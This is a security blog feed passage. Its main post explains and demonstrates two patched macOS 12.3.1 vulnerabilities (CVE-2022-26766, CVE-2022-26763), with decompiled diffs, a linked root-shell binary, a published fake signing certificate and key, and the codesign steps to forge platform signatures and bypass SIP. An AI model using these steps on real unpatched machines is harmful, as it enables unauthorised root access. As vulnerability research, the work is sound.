<p>This - as far as I can tell - affects userspace processes only. Jailbreaks require a kernel exploit. (The Apple Security release notes says that this bug may allow “arbitrary code with kernel privileges”, but I can’t see how.)</p>

<p>You might still do something cool on iOS with this, but I’m not sure what you’d overwrite: codesigning should protect all executables and libraries. (I have not tested this: let me know if you find anything!)</p>

<h2 id="credits">Credits</h2>

<ul>
  <li>Ian Beer of <a href="https://googleprojectzero.blogspot.com/">Project Zero</a> for finding this issue, and for finding <a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=2337#c3">other issues in XNU’s virtual memory</a>. Looking forward to the writeup for this issue.</li>
  <li>Apple for the <a href="https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c">test case</a> and <a href="https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/osfmk/vm/vm_map.c#L10150">patch</a>. (I didn’t change anything: I just added the command line parameter to control what to overwrite.)</li>
  <li><a href="https://gts3.org/assets/papers/2020/jin:pwn2own2020-safari-slides.pdf">SSLab@Gatech</a> for the trick to disable password checking using <code class="language-plaintext highlighter-rouge">/etc/pam.d</code>.</li>
  <li><a href="https://twitter.com/WangTielei/status/1603963997618855937">@WangTielei</a> for sharing a related issue and answering my questions.</li>
</ul>

<h2 id="changelog">Changelog</h2>

<p>2022-12-17:</p>

<ul>
  <li>clarified that “jailbreak” refers to iOS.</li>
  <li>clarified that the Project Zero issue link goes to a different issue than this one.</li>
  <li>link the patch in <code class="language-plaintext highlighter-rouge">vm_map_copy_overwrite_unaligned</code>.</li>
</ul>]]></content><author><name></name></author><category term="macos" /><summary type="html"><![CDATA[Get root on macOS 13.0.1 with CVE-2022-46689 (macOS equivalent of the Dirty Cow bug), using the testcase extracted from Apple’s XNU source.]]></summary></entry><entry><title type="html">Get root on macOS 12.3.1: proof-of-concepts for Linus Henze’s CoreTrust and DriverKit bugs (CVE-2022-26766, CVE-2022-26763)</title><link href="https://worthdoingbadly.com/coretrust/" rel="alternate" type="text/html" title="Get root on macOS 12.3.1: proof-of-concepts for Linus Henze’s CoreTrust and DriverKit bugs (CVE-2022-26766, CVE-2022-26763)" /><published>2022-07-02T00:00:00+00:00</published><updated>2022-07-02T00:00:00+00:00</updated><id>https://worthdoingbadly.com/coretrust</id><content type="html" xml:base="https://worthdoingbadly.com/coretrust/"><![CDATA[<p>Here are two proof-of-concepts for CVE-2022-26766 (CoreTrust allows any root certificate) and CVE-2022-26763 (<code class="language-plaintext highlighter-rouge">IOPCIDevice::_MemoryAccess</code> not checking bounds at all), two issues discovered by <a href="https://twitter.com/linushenze">@LinusHenze</a> and patched in <a href="https://support.apple.com/en-ca/HT213257">macOS 12.4</a> / <a href="https://support.apple.com/en-us/HT213258">iOS 15.5</a>.</p>

<h2 id="demo-coretrust">Demo: CoreTrust</h2>

<p>On a M1 Mac Mini with macOS 12.3.1 and SIP enabled, running this <a href="https://github.com/zhuowei/CoreTrustDemo/releases/download/v0.1.0/spawn_root"><code class="language-plaintext highlighter-rouge">spawn_root</code></a> app will give you a root shell:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>zhuowei-mini:~ zhuowei$ ./spawn_root bash
zhuowei-mini:~ root# id
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),61(localaccounts),80(admin),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae),701(com.apple.sharepoint.group.1),702(com.apple.sharepoint.group.2)
zhuowei-mini:~ root# 
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>zhuowei-mini:~ zhuowei$ uname -a
Darwin zhuowei-mini.local 21.4.0 Darwin Kernel Version 21.4.0: Fri Mar 18 00:47:26 PDT 2022; root:xnu-8020.101.4~15/RELEASE_ARM64_T8101 arm64
zhuowei-mini:~ zhuowei$ csrutil status
System Integrity Protection status: enabled.
</code></pre></div></div>

<h2 id="demo-driverkit">Demo: DriverKit</h2>

<p>… all right, I don’t have a good demo for this:</p>

<p>My current proof-of-concept requires SIP to be disabled and the built-in Bluetooth driver removed with a custom kernel… which defeats the point of a kernel bug. but <em>anyways</em>:</p>

<p>On a M1 Mac Mini with macOS 12.3.1, loading <a href="https://github.com/zhuowei/PCICrash">this</a> DriverKit driver then invoking it will panic the kernel:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>panic(cpu 3 caller 0xfffffe001a659d58): Kernel data abort. at pc 0xfffffe0019e465e8, lr 0x13eafe001c0cb600 (saved state: 0xfffffe6081f0ae50
)
          x0:  0xdeadbd505fb97eef x1:  0x0000000041414141  x2:  0x0000000000000008  x3:  0x0000000041414141
          x4:  0xfffffe6081f0b55c x5:  0xfffffe1666b90d20  x6:  0x0000000000000000  x7:  0x0000000000000000
          x8:  0xfffffe001d883000 x9:  0x0000000000000000  x10: 0x0000000000000000  x11: 0x0000000000000000
          x12: 0xfffffe1666b56970 x13: 0x0000000000000078  x14: 0x0000000000003207  x15: 0x0000000000000000
          x16: 0xfffffe0019e465e8 x17: 0xfffffe0019e465cc  x18: 0x0000000000000000  x19: 0x0000000000000000
          x20: 0xdeadbeefdeadbeef x21: 0xfffffe29993dd500  x22: 0x0000000000000008  x23: 0xfffffe6081f0b494
          x24: 0xfffffe6081f0b520 x25: 0xfffffe001cc61000  x26: 0xcda1fe29993dd500  x27: 0x00000000e00002bf
          x28: 0x000000000000008c fp:  0xfffffe6081f0b270  lr:  0x13eafe001c0cb600  sp:  0xfffffe6081f0b1a0
          pc:  0xfffffe0019e465e8 cpsr: 0x60401208         esr: 0x96000044          far: 0xdeadbd505fb97eef

Debugger message: panic
Memory ID: 0x6
OS release type: User
OS version: 21E258
Kernel version: Darwin Kernel Version 21.4.0: Fri Mar 18 00:47:26 PDT 2022; root:xnu-8020.101.4~15/RELEASE_ARM64_T8101
Fileset Kernelcache UUID: CB1C95744D7FA8FB3DFE114F58CDFB05
Kernel UUID: 79A2DE0A-5FBB-32B8-B226-9D5D3F5C25A4
iBoot version: iBoot-7459.101.3
secure boot?: YES
Paniclog version: 13
KernelCache slide: 0x0000000012554000
KernelCache base:  0xfffffe0019558000
Kernel slide:      0x0000000012ce4000
Kernel text base:  0xfffffe0019ce8000
Kernel text exec slide: 0x0000000012dcc000
Kernel text exec base:  0xfffffe0019dd0000
mach_absolute_time: 0xf08a0e50
</code></pre></div></div>

<h2 id="is-this-jelbrek">is this jelbrek?</h2>

<p><img src="/assets/blog/xnuqemu3/wwdc2018_no.jpg" alt="&quot;No.&quot; - Craig Federighi, WWDC 2018" /></p>

<p>No!</p>

<p>I can only figure out how to exploit these bugs on macOS, not iOS.</p>

<h3 id="for-coretrust">For CoreTrust:</h3>

<p>iOS’s <code class="language-plaintext highlighter-rouge">installd</code> checks the signatures of all installed apps using <code class="language-plaintext highlighter-rouge">Security.framework</code>, which is not vulnerable.</p>

<p>I’m sure Linus Henze’s eventual Fugu15 will find a neat trick around this, but I couldn’t figure it out.</p>

<p>Thus, it’s impossible to exploit this bug on iOS unless you already have a jailbreak.</p>

<p>You could use the CoreTrust bug on its own to re-sign your semi-untethered iOS 14 jailbreak app so it wouldn’t expire every week. However:</p>

<ul>
  <li>you can already bypass the weekly expiry with an enterprise certificate.</li>
  <li>again, you need to be jailbroken to install the fakesigned app in the first place.</li>
  <li>(EDIT 2022-07-02): the Taurine developers have <a href="https://www.reddit.com/r/jailbreak/comments/vpuppq/free_release_taurinepermanent_relatively/">released</a> a Taurine build that uses the CoreTrust bug to avoid expiring every 7 days… but it only works on arm64 devices. On arm64e devices, it fails with an <code class="language-plaintext highlighter-rouge">ERR_JAILBREAK</code> error.</li>
</ul>

<h3 id="for-driverkit">For DriverKit:</h3>

<p>A third-party DriverKit driver can’t override a built-in kext. All PCI devices on an iPhone have built-in drivers, so our DriverKit driver can’t attach to any PCI device.</p>

<p>(Technically the PCI bridge has no existing driver, but it also doesn’t have a BAR memory mapping, so the vulnerable code can’t be reached)</p>

<p>On a Mac or iPad, you can plug in an external PCIe device with Thunderbolt/USB4. iPhones have no such support.</p>

<p>You can’t reset an existing internal PCIe device either: after the Wi-Fi/Bluetooth driver boots up the card (the card doesn’t appear over PCIe if the driver is removed from the kernel collection), there appears to be no way to power off or restart the card.</p>

<p>Thus, my proof-of-concepts only works on macOS. I’m eagerly awaiting Linus Henze’s writeup to see how he bypasses these restrictions.</p>

<h2 id="cve-2022-26766-the-coretrust-bug">CVE-2022-26766: the CoreTrust bug</h2>

<p>For years, macOS allowed any root certicate when checking code signatures, making code signing completely useless.</p>

<p>iOS 12 / macOS Mojave introduced <a href="https://research.dynastic.co/2019/01/31/coretrust-overview">CoreTrust</a>, a new code signature verification framework that runs in the kernel before the traditional <code class="language-plaintext highlighter-rouge">amfid</code> verification in userspace.</p>

<ul>
  <li>For developer-signed apps, CoreTrust acts as an additional line of defense, verifying that code signatures are correctly formed before passing it to <code class="language-plaintext highlighter-rouge">amfid</code> for verification via userspace <code class="language-plaintext highlighter-rouge">libmis.dylib</code> / <a href="https://github.com/apple-oss-distributions/Security/blob/67353d4e01e66f254b4c9ceb24b959ecf7586e82/trust/headers/SecPolicyPriv.h#L604"><code class="language-plaintext highlighter-rouge">Security.framework</code></a>.</li>
  <li>on macOS Big Sur / iOS 14 and later, for App Store/Platform apps, CoreTrust <em>replaces</em> the amfid verification, speeding up app launches by avoiding a trip into userspace:</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kernel	AMFI: vnode_check_signature called with platform 2
kernel	App Store Fast Path -&gt; /bin/example
</code></pre></div></div>

<p>(I guess they never <code class="language-plaintext highlighter-rouge">mis</code>, huh)</p>

<p>(EDIT 2022-07-02: mention that CoreTrust is not vulnerable <a href="https://twitter.com/Jakeashacks/status/1543257577148006401">before iOS 14</a>)</p>

<p>CoreTrust’s verification is written from scratch and shares no code with the userspace <code class="language-plaintext highlighter-rouge">Security.framework</code>.</p>

<p>AMFI calls CoreTrust via <a href="https://github.com/apple-oss-distributions/xnu/blob/e7776783b89a353188416a9a346c6cdb4928faad/EXTERNAL_HEADERS/coretrust/CTEvaluate.h#L228"><code class="language-plaintext highlighter-rouge">CTEvaluateAMFICodeSignatureCMS</code></a>, (or on Apple Internal developer devices, <code class="language-plaintext highlighter-rouge">CTEvaluateAMFICodeSignatureCMSPubKey</code> for custom root certificates).</p>

<p>The actual signature check occurs in <code class="language-plaintext highlighter-rouge">X509ChainCheckPathWithOptions</code>: in pseudocode, it does:</p>

<ul>
  <li>
    <p><a href="https://github.com/apple-oss-distributions/xnu/blob/e7776783b89a353188416a9a346c6cdb4928faad/EXTERNAL_HEADERS/coretrust/CTEvaluate.h#L174">policy_flags</a> = <code class="language-plaintext highlighter-rouge">0xffffffffffffffff</code></p>
  </li>
  <li>for each certificate in chain:
    <ul>
      <li>call <code class="language-plaintext highlighter-rouge">X509CertificateCheckSignature</code> to validate that this certificate is signed by the next certificate in the chain</li>
      <li><code class="language-plaintext highlighter-rouge">policy_flags = policy_flags &amp; certificate-&gt;policy_flags</code></li>
      <li>if this certificate is signed by itself, then it’s the root certificate</li>
    </ul>
  </li>
  <li>if we have verification options:
    <ul>
      <li>if the number of certs in the chain is wrong, return error</li>
      <li>if we have a custom root certificate (from <code class="language-plaintext highlighter-rouge">CTEvaluateAMFICodeSignatureCMSPubKey</code>):
        <ul>
          <li>if the root doesn’t match the specified root certificate, return error</li>
        </ul>
      </li>
    </ul>
  </li>
  <li>return success with the final policy flags (an AND of all the certificates’ policy flags).</li>
</ul>

<p>Can you spot the issue?</p>

<p>Here’s a hint: the left is a decompile of the end of <code class="language-plaintext highlighter-rouge">X509CertificateCheckSignature</code> from macOS 12.3.1; the right is the same code from 12.4.</p>

<p><img src="/assets/blog/coretrust/coretrust_diff.png" alt="decompiled code of X509CertificateCheckSignature from 12.3.1 and 12.4, showing two extra calls, X509ChainGetAppleRootUsingKeyIdentifier/X509CertificateCheckSignature" /></p>

<p>That’s right:</p>

<p>if there’s a custom root certificate, it verifies that the root matches the custom certificate.</p>

<p>If there’s no custom root certificate - the configuration on production devices - the root certificate is <em>never checked</em> on macOS 12.3.1!</p>

<p><em>Anyone</em> can create their own root certificate: CoreTrust would happily mark it as a genuine Apple signature and skip the userspace <code class="language-plaintext highlighter-rouge">amfid</code> path.</p>

<p>macOS 12.4 fixes this by adding an extra <code class="language-plaintext highlighter-rouge">X509ChainGetAppleRootUsingKeyIdentifier</code> / <code class="language-plaintext highlighter-rouge">X509CertificateCheckSignature</code> pair to check that the root certificate is an authentic Apple root.</p>

<p><a href="https://twitter.com/littlelailo/status/1527563427455066113">@littlelailo</a> found this change by diffing <code class="language-plaintext highlighter-rouge">libmis.dylib</code>, which includes its own copy of CoreTrust’s code. If you’re reversing this, you probably want the kernel module instead since it includes a few more symbols. (Here are <a href="https://github.com/zhuowei/CoreTrustDemo/blob/main/littlemis.txt">my notes</a>.)</p>

<h2 id="exploiting-coretrust-generating-certificates">Exploiting CoreTrust: generating certificates</h2>

<p>Let’s make a fake ID <del>to get into bars</del> to become a macOS platform app.</p>

<h3 id="extracting-apples-real-certificate-chain">Extracting Apple’s real certificate chain</h3>

<p>Before we generate our own certificates, we need to examine what a valid Apple certificate looks like.</p>

<p>We first extract the real certificate chain from <code class="language-plaintext highlighter-rouge">/bin/bash</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>codesign -d --extract-certificates=macOS_certs /bin/bash
</code></pre></div></div>

<p>This outputs the three certificates in <code class="language-plaintext highlighter-rouge">/bin/bash</code>’s certificate chain:</p>
<ul>
  <li>Software Signing</li>
  <li>Apple Code Signing Certification Authority</li>
  <li>Apple Root CA</li>
</ul>

<p>You can print them with OpenSSL:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>openssl x509 -text -noout -inform der -in macOS_certs0
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">macOS_certs0</code> and <code class="language-plaintext highlighter-rouge">macOS_certs1</code> have <code class="language-plaintext highlighter-rouge">1.2.840.113635.100.6.22</code> as a certificate extension. This is <code class="language-plaintext highlighter-rouge">CTOidAppleMacPlatform</code>.</p>

<p>In CoreTrust’s <code class="language-plaintext highlighter-rouge">X509CertificateParseImplicit</code>, this OID gives the certificate a <code class="language-plaintext highlighter-rouge">policy_flags</code> of <code class="language-plaintext highlighter-rouge">0x100008</code>. This <a href="https://github.com/apple-oss-distributions/xnu/blob/e7776783b89a353188416a9a346c6cdb4928faad/EXTERNAL_HEADERS/coretrust/CTEvaluate.h#L175">decodes</a> to <code class="language-plaintext highlighter-rouge">CORETRUST_POLICY_MAC_PLATFORM | CORETRUST_POLICY_MAC_PLATFORM_G2</code>, which indicates to macOS that the program is a platform application.</p>

<p>The root cert does not have this extension: known root certs have their <code class="language-plaintext highlighter-rouge">policy_flags</code> hardcoded by CoreTrust in <code class="language-plaintext highlighter-rouge">X509PolicySetFlagsForRoot</code>.</p>

<p>Our root certificate isn’t known to CoreTrust, so we need the same extension in our custom root certificate so we can get <code class="language-plaintext highlighter-rouge">policy_flags</code>.</p>

<h3 id="creating-our-own-certificate-chain">Creating our own certificate chain</h3>

<p>* extremely 办证 voice * 办证1.2.840.113635.100.6.22</p>

<p>We generate our certificates using OpenSSL 3.0.3 from Homebrew. (macOS’s built-in <code class="language-plaintext highlighter-rouge">openssl</code> is too old.)</p>

<p>I used <a href="https://github.com/zhuowei/CoreTrustDemo/blob/main/badcert/makecerts.sh">this script</a> to:</p>

<ul>
  <li>generate a chain of three certificates, all with the <code class="language-plaintext highlighter-rouge">CTOidAppleMacPlatform</code> extension</li>
  <li>package the certificates and the leaf certificate’s private key into a .p12 file</li>
</ul>

<p>If you don’t want to generate your own, you can get my certificate and private key <a href="https://github.com/zhuowei/CoreTrustDemo/blob/main/badcert/dev_certificate.p12">here</a>, so you can re-enact <a href="https://xkcd.com/1553/">xkcd/1553</a>.</p>

<p>To use the key, first open the p12 file, and type <code class="language-plaintext highlighter-rouge">password</code> as the password to import it into Keychain.</p>

<p>Then, sign an app with the fake cert using <code class="language-plaintext highlighter-rouge">codesign</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>codesign -s "Worth Doing Badly Developer ID" -f --entitlements spawn_root.entitlements spawn_root
</code></pre></div></div>

<p>With a fake platform certificate, we can get any entitlement and defeat SIP. Without SIP, macOS is completely <a href="https://gist.github.com/ChiChou/e3a50f00853b2fbfb1debad46e501121">unprotected</a>.</p>

<p>For this demo, I chose to borrow <a href="https://github.com/LinusHenze/Fugu14/blob/master/Writeup.pdf">another</a> of Linus Henze’s tricks and use the <code class="language-plaintext highlighter-rouge">com.apple.private.persona-mgmt</code> entitlement to <code class="language-plaintext highlighter-rouge">posix_spawn</code> a root shell.</p>

<h3 id="result">Result</h3>

<p>Running this app on macOS 12.4 crashes immediately:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./spawn_root bash
Killed: 9
</code></pre></div></div>

<p>In the kernel log, AMFI rejects the entitlements:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kernel	AMFI: code signature validation failed.
kernel	AMFI: bailing out because of restricted entitlements.
</code></pre></div></div>

<p>But running on macOS 12.3.1 gives a root shell:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>zhuowei-mini:~ zhuowei$ ./spawn_root bash
zhuowei-mini:~ root#
</code></pre></div></div>

<p>If you turn on cs_debug (<code class="language-plaintext highlighter-rouge">sysctl vm.cs_debug=1</code>), the kernel prints:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kernel	AMFI: vnode_check_signature called with platform 1
kernel	setting platform binary on task: pid = 964
</code></pre></div></div>

<p>Which shows that the kernel accepted our fake signed app as a genuine platform application.</p>

<p>We can further validate that our fake cert worked by calling <code class="language-plaintext highlighter-rouge">CTEvaluateAMFICodeSignatureCMS</code> directly with <a href="https://github.com/zhuowei/CoreTrustDemo/blob/main/littlect.m">this tool</a>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./ct_little spawn_root
</code></pre></div></div>

<p>On macOS 12.4, CoreTrust correctly detects that the root certificate is not Apple, and sets <code class="language-plaintext highlighter-rouge">policy_flags = 0</code>, just like an ad-hoc signature:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ct_little[9924:455779] result = 0 leaf_certificate = 0x7fe3ec00be99 leaf_certificate_length = 440 policy_flags = 0 cms_digest_type = 4 hash_agility_digest_type = 4 digest_data = 0x7fe3ec00c438 digest_length = 20
</code></pre></div></div>

<p>However, on macOS 12.3.1, <code class="language-plaintext highlighter-rouge">policy_flags</code> is set to <code class="language-plaintext highlighter-rouge">0x100008</code>, based on the OID we specified:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ct_little[654:5957] result = 0 leaf_certificate = 0x13b80cc99 leaf_certificate_length = 440 policy_flags = 100008 cms_digest_type = 4 hash_agility_digest_type = 4 digest_data = 0x13b80d238 digest_length = 20
</code></pre></div></div>

<h2 id="cve-2022-26763-the-driverkit-bug">CVE-2022-26763: the DriverKit bug</h2>

<p>macOS’s a X, but its drivers are a throwback to Mac OS 9: one wrong <code class="language-plaintext highlighter-rouge">mov</code> takes down the whole system.</p>

<p>DriverKit is supposed to solve this, but new code brings new bugs… such as this one:</p>

<p><code class="language-plaintext highlighter-rouge">IOPCIDevice::_MemoryAccess</code> just… doesn’t check <code class="language-plaintext highlighter-rouge">offset</code> at all.</p>

<p><a href="https://github.com/apple-oss-distributions/IOPCIFamily/blob/0b4c82fe7eaff74091b414225e966f993bfab328/IOPCIDevice.cpp#L1848">macOS 12.3.1</a>:</p>

<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">IOReturn</span> <span class="n">IOPCIDevice</span><span class="o">::</span><span class="n">deviceMemoryWrite32</span><span class="p">(</span><span class="kt">uint8_t</span>  <span class="n">memoryIndex</span><span class="p">,</span>
                                          <span class="kt">uint64_t</span> <span class="n">offset</span><span class="p">,</span>
                                          <span class="kt">uint32_t</span> <span class="n">data</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">IOReturn</span> <span class="n">result</span> <span class="o">=</span> <span class="n">kIOReturnUnsupported</span><span class="p">;</span>

    <span class="n">IOMemoryMap</span><span class="o">*</span> <span class="n">deviceMemoryMap</span> <span class="o">=</span> <span class="n">reserved</span><span class="o">-&gt;</span><span class="n">deviceMemoryMap</span><span class="p">[</span><span class="n">memoryIndex</span><span class="p">];</span>
    <span class="k">if</span><span class="p">(</span><span class="n">deviceMemoryMap</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="n">ml_io_write</span><span class="p">(</span><span class="n">deviceMemoryMap</span><span class="o">-&gt;</span><span class="n">getVirtualAddress</span><span class="p">()</span> <span class="o">+</span> <span class="n">offset</span><span class="p">,</span> <span class="n">data</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">uint32_t</span><span class="p">));</span>
        <span class="n">result</span> <span class="o">=</span> <span class="n">kIOReturnSuccess</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">else</span>
    <span class="p">{</span>
        <span class="n">DLOG</span><span class="p">(</span><span class="s">"IOPCIDevice::deviceMemoryRead32: index %u could not get mapping</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">memoryIndex</span><span class="p">);</span>
        <span class="k">return</span> <span class="n">kIOReturnNoMemory</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p><a href="https://github.com/apple-oss-distributions/IOPCIFamily/blob/e0cf4edc6b92a166c89a52dea7553666cc0083f7/IOPCIDevice.cpp#L1979">macOS 12.4</a>:</p>

<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">IOReturn</span> <span class="n">IOPCIDevice</span><span class="o">::</span><span class="n">deviceMemoryWrite32</span><span class="p">(</span><span class="kt">uint8_t</span>  <span class="n">memoryIndex</span><span class="p">,</span>
                                          <span class="kt">uint64_t</span> <span class="n">offset</span><span class="p">,</span>
                                          <span class="kt">uint32_t</span> <span class="n">data</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">IOReturn</span> <span class="n">result</span> <span class="o">=</span> <span class="n">kIOReturnUnsupported</span><span class="p">;</span>

    <span class="n">IOMemoryMap</span><span class="o">*</span> <span class="n">deviceMemoryMap</span> <span class="o">=</span> <span class="n">reserved</span><span class="o">-&gt;</span><span class="n">deviceMemoryMap</span><span class="p">[</span><span class="n">memoryIndex</span><span class="p">];</span>
    <span class="k">if</span><span class="p">(</span><span class="n">deviceMemoryMap</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="n">IOVirtualAddress</span> <span class="n">address</span> <span class="o">=</span> <span class="n">deviceMemoryMap</span><span class="o">-&gt;</span><span class="n">getVirtualAddress</span><span class="p">();</span>
        <span class="n">IOByteCount</span>      <span class="n">length</span>  <span class="o">=</span> <span class="n">deviceMemoryMap</span><span class="o">-&gt;</span><span class="n">getLength</span><span class="p">();</span>
        <span class="kt">uint64_t</span>         <span class="n">sum</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

        <span class="k">if</span><span class="p">(</span>   <span class="p">(</span><span class="n">offset</span> <span class="o">+</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">uint32_t</span><span class="p">))</span> <span class="o">&gt;</span> <span class="n">length</span>
           <span class="o">||</span> <span class="p">(</span><span class="n">os_add_overflow</span><span class="p">(</span><span class="n">offset</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">uint32_t</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">sum</span><span class="p">)))</span>
        <span class="p">{</span>
            <span class="k">return</span> <span class="n">kIOReturnOverrun</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="n">ml_io_write</span><span class="p">(</span><span class="n">address</span> <span class="o">+</span> <span class="n">offset</span><span class="p">,</span> <span class="n">data</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">uint32_t</span><span class="p">));</span>
        <span class="n">result</span> <span class="o">=</span> <span class="n">kIOReturnSuccess</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">else</span>
    <span class="p">{</span>
        <span class="n">DLOG</span><span class="p">(</span><span class="s">"IOPCIDevice::deviceMemoryWrite32: index %u could not get mapping</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">memoryIndex</span><span class="p">);</span>
        <span class="k">return</span> <span class="n">kIOReturnNoMemory</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>When I went looking for ths, I first diffed the kernel with IDA and BinDiff, but found nothing.</p>

<p>I thought about DriverKit, realized that PCI probably has memory access support, went to Apple’s open source site, and promptly got mad at myself for not noticing this first.</p>

<h2 id="exploiting-driverkit-setting-up-the-driver">Exploiting DriverKit: setting up the driver</h2>

<p>To exploit this issue, we create a DriverKit driver to get into <a href="https://en.wikipedia.org/wiki/PCI_configuration_space#Bus_enumeration">BARs</a>.</p>

<p>I chose to target the Bluetooth card, since all M1 Macs have one.</p>

<p>I based my PCIDriverKit driver on Apple’s <a href="https://github.com/apple-oss-distributions/IOPCIFamily/blob/0b4c82fe7eaff74091b414225e966f993bfab328/PEX8733/PCIDriverKitPEX8733/PCIDriverKitPEX8733.cpp">PCIDriverKitPEX8733</a> sample and vially’s <a href="https://github.com/vially/ivshmem.dext">IOSHMEM</a> driver. I also consulted <a href="https://github.com/pqrs-org/Karabiner-DriverKit-VirtualHIDDevice/blob/main/DEVELOPMENT.md">Karabiner-DriverKit-VirtualHIDDevice</a>’s DriverKit debugging guide.</p>

<p>Unpaid developer accounts can’t sign DriverKit extensions. (I think macOS 13 beta extends DriverKit to all paid developer accounts, but unfortunately not to free provisioning)</p>

<p>To test our extension, we need to:</p>

<ul>
  <li>
    <p>turn SIP off.</p>

    <p>When SIP is on, DriverKit validates that the driver is signed and notarized using the userspace <code class="language-plaintext highlighter-rouge">Security.framework</code>, which doesn’t have the CoreTrust bug.</p>

    <p>(Using the CoreTrust bug to bypass the check is left as an exercise for the reader)</p>

    <p>Optionally, enable <a href="https://developer.apple.com/documentation/driverkit/debugging_and_testing_system_extensions?language=objc">Developer Mode</a> so the dext doesn’t need to live in <code class="language-plaintext highlighter-rouge">/Applications.</code></p>
  </li>
  <li>
    <p>disable the existing Bluetooth driver.</p>
  </li>
</ul>

<p>To disable the existing driver, we follow <a href="https://github.com/AsahiLinux/macvdmtool/blob/0b7f3648ef726617826be9cf0b83b11e4d0e40d4/README.md">macvdmtool</a>’s instructions and generate a custom kernel cache without the <code class="language-plaintext highlighter-rouge">AppleConvergedPCI</code> and <code class="language-plaintext highlighter-rouge">AppleConvergedIPCOLYBTControl</code> driver:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo kmutil create -n boot -a arm64e -B /Users/zhuowei/kc.noshim.macho -V release  -k /System/Library/Kernels/kernel.release.t8101 -r /System/Library/Extensions -r /System/Library/DriverExtensions -x $(kmutil inspect -V release --no-header | awk '!/(AppleConvergedPCI|AppleConvergedIPCOLYBTControl)/ { print " -b "$1; }')
</code></pre></div></div>

<p>Then we reboot into 1TR recovery, disable SIP, and use <code class="language-plaintext highlighter-rouge">kmutil configure-boot</code> to set the custom kernel cache.</p>

<p>Finally, we:</p>

<ul>
  <li>build <a href="https://github.com/zhuowei/PCICrash">our DriverKit extension</a> and accompanying app <a href="https://stackoverflow.com/a/54296008">without signing</a></li>
  <li>manually sign it</li>
  <li>copy it to <code class="language-plaintext highlighter-rouge">/Applications</code> (if developer mode is disabled)</li>
  <li>launch app: <code class="language-plaintext highlighter-rouge">/Applications/PCICrashApp.app/Contents/MacOS/PCICrashApp</code></li>
  <li>go to System Preferences and allow the Driver Extension to load</li>
  <li>run <code class="language-plaintext highlighter-rouge">./pcicrash_userclient 1235</code> to tell our DriverKit to make the <code class="language-plaintext highlighter-rouge">_MemoryAccess</code> call</li>
</ul>

<p>With this, we get a panic.</p>

<h2 id="what-i-still-dont-know">What I still don’t know</h2>

<ul>
  <li>How Fugu15 bypasses <code class="language-plaintext highlighter-rouge">installd</code>’s signature check</li>
  <li>How Fugu15 figures out the base address of the PCI mapping to turn virtual memory out-of-bounds access into kernel read/write</li>
  <li>How Fugu15 exploits a PCI/Thunderbolt/USB4 bug on an iPhone without Thunderbolt/USB4</li>
  <li>How the other two Fugu15 bugs (PAC bypass, PPL bypass) work</li>
</ul>

<h2 id="thanks">Thanks</h2>

<ul>
  <li><a href="https://twitter.com/LinusHenze">Linus Henze</a> for finding and reporting these issues responsibly, keeping macOS users safe, and best of all, meticulously documenting research in writeups. I can’t wait to read the Fugu15 writeup.</li>
  <li><a href="https://twitter.com/Fame_G_Monster/status/1528904583581274112">@Fame_G_Monster</a> for pointing out the CoreTrust App Store fast path</li>
